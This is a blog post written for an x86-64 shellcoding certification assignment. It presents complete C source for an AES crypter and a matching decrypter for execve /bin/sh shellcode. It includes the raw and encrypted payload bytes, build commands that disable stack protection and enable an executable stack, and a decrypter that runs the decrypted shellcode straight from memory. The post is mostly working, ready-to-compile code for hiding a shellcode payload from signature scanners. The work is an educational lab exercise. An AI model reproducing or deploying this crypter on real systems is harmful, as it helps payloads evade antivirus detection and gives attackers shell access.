This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification :
http://www.securitytube-training.com/online-courses/x8664-assembly-and-shellcoding-on-linux/index.html
Student ID: PA-6470
Assignment #7
The aim of this assignment is to create a custom crypter for shellcodes.
Crypter
I’ve chose to use the AES encryption using mcrypt library (apt-get install libmcrypt-dev)
https://gist.github.com/bricef/2436364
1) First you need to dump the shellcode opcodes :
for i in $(objdump -d Execve-Stack |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

2) Then put these opcodes into the crypter code
unsigned char shellcode[] = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
3) Then, compile crypter (don’t forget the -lmcrypt option) :
gcc aes-shellcode-crypter.c -lmcrypt -o aes-shellcode-crypter
4) Finally, encrypt the shellcode using a symetric key and get the encrypted shellcode
./aes-shellcode-crypter "0123456789abcdef"

Decrypter
1) Put the encrypted opcodes into the decrypter :
unsigned char encrypted_shellcode[] = "\xca\x8a\x85\xae\xb4\x1c\xe4\x8d\x99\x24\xd0\x09\xaf\x56\x4b\x54\x1d\xb0\xce\xa5\xc0\xe3\x99\x4d\x31\x5a\x2d\x28\xed\x1e\x9a\x28";
2) Compile the decrypter
gcc -fno-stack-protector -z execstack -lmcrypt aes-shellcode-decrypter.c -o aes-shellcode-decrypter
3) Decrypt and run the shellcode by using the same symetric key :
./aes-shellcode-decrypter "0123456789abcdef"
Full source code is available here and on my Github account.
aes-shellcode-crypter.c
/*
* Compile : gcc aes-shellcode-crypter.c -lmcrypt -o aes-shellcode-crypter
*
* Author : SLAE64-PA-6470 (kahlon81)
* Date : 2018/02/21
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* MCrypt API available online:
* http://linux.die.net/man/3/mcrypt
*/
#include <mcrypt.h>
#include <math.h>
#include <stdint.h>
#include <stdlib.h>
int encrypt(
void* buffer,
int buffer_len, /* Because the plaintext could include null bytes*/
char* IV,
char* key,
int key_len
){
MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
int blocksize = mcrypt_enc_get_block_size(td);
if( buffer_len % blocksize != 0 ){return 1;}
mcrypt_generic_init(td, key, key_len, IV);
mcrypt_generic(td, buffer, buffer_len);
mcrypt_generic_deinit (td);
mcrypt_module_close(td);
return 0;
}
int decrypt(
void* buffer,
int buffer_len,
char* IV,
char* key,
int key_len
){
MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
int blocksize = mcrypt_enc_get_block_size(td);
if( buffer_len % blocksize != 0 ){return 1;}
mcrypt_generic_init(td, key, key_len, IV);
mdecrypt_generic(td, buffer, buffer_len);
mcrypt_generic_deinit (td);
mcrypt_module_close(td);
return 0;
}
void display_hex(char* cipher, int len) {
int v;
for (v=0; v<len; v++)
//printf("\\x%2hhX", cipher[v]);
printf("\\x%02x", cipher[v] & 0xff);
printf("\n");
}
int main(int argc, char **argv)
{
MCRYPT td, td2;
unsigned char shellcode[] = "\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
unsigned char *plaintext = shellcode;
char* IV = "AAAAAAAAAAAAAAAA";
char* buffer;
int buffer_len = strlen(plaintext);
// check param
if (argc != 2) {
printf("Usage : ./aes-shellcode-crypter <128 bits encryption key>\n");
printf("Example : ./aes-shellcode-crypter 0123456789abcdef\n");
exit(-1);
}
// input key
char *key = (char *)argv[1];
int keysize = strlen(key);
buffer = calloc(1, buffer_len);
strncpy(buffer, plaintext, buffer_len);
printf("plain size=%d:\n", strlen(plaintext));
display_hex(plaintext, strlen(plaintext));
encrypt(buffer, buffer_len, IV, key, keysize);
printf("cipher size=%d:\n", strlen(buffer));
display_hex(buffer, buffer_len);
decrypt(buffer, buffer_len, IV, key, keysize);
printf("decrypt size=%d:\n", strlen(buffer));
display_hex(buffer, buffer_len);
return 0;
}
aes-shellcode-decrypter.c
/*
* Compile : gcc -fno-stack-protector -z execstack -lmcrypt aes-shellcode-decrypter.c -o aes-shellcode-decrypter
*
* Author : SLAE64-PA-6470 (kahlon81)
* Date : 2018/02/21
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* MCrypt API available online:
* http://linux.die.net/man/3/mcrypt
*/
#include <mcrypt.h>
#include <math.h>
#include <stdint.h>
#include <stdlib.h>
int encrypt(
void* buffer,
int buffer_len, /* Because the plaintext could include null bytes*/
char* IV,
char* key,
int key_len
){
MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
int blocksize = mcrypt_enc_get_block_size(td);
if( buffer_len % blocksize != 0 ){return 1;}
mcrypt_generic_init(td, key, key_len, IV);
mcrypt_generic(td, buffer, buffer_len);
mcrypt_generic_deinit (td);
mcrypt_module_close(td);
return 0;
}
int decrypt(
void* buffer,
int buffer_len,
char* IV,
char* key,
int key_len
){
MCRYPT td = mcrypt_module_open("rijndael-128", NULL, "cbc", NULL);
int blocksize = mcrypt_enc_get_block_size(td);
if( buffer_len % blocksize != 0 ){return 1;}
mcrypt_generic_init(td, key, key_len, IV);
mdecrypt_generic(td, buffer, buffer_len);
mcrypt_generic_deinit (td);
mcrypt_module_close(td);
return 0;
}
void display_hex(char* cipher, int len) {
int v;
for (v=0; v<len; v++)
//printf("\\x%2hhX", cipher[v]);
printf("\\x%02x", cipher[v] & 0xff);
printf("\n");
}
int main(int argc, char **argv)
{
MCRYPT td, td2;
unsigned char encrypted_shellcode[] = "\xca\x8a\x85\xae\xb4\x1c\xe4\x8d\x99\x24\xd0\x09\xaf\x56\x4b\x54\x1d\xb0\xce\xa5\xc0\xe3\x99\x4d\x31\x5a\x2d\x28\xed\x1e\x9a\x28";
unsigned char *encrypted = encrypted_shellcode;
char* IV = "AAAAAAAAAAAAAAAA";
char* buffer;
int buffer_len = strlen(encrypted);
int (*sc)();
// check param
if (argc != 2) {
printf("Usage : ./aes-shellcode-decrypter <128 bits encryption key>\n");
printf("Example : ./aes-shellcode-decrypter 0123456789abcdef\n");
exit(-1);
}
// input key
char *key = (char *)argv[1];
int keysize = strlen(key);
printf("encrypt size=%d:\n", strlen(encrypted));
display_hex(encrypted, strlen(encrypted));
buffer = calloc(1, buffer_len);
strncpy(buffer, encrypted, buffer_len);
decrypt(buffer, buffer_len, IV, key, keysize);
printf("decrypt size=%d:\n", strlen(buffer));
display_hex(buffer, buffer_len);
sc = (int(*)())buffer;
sc();
return 0;
}

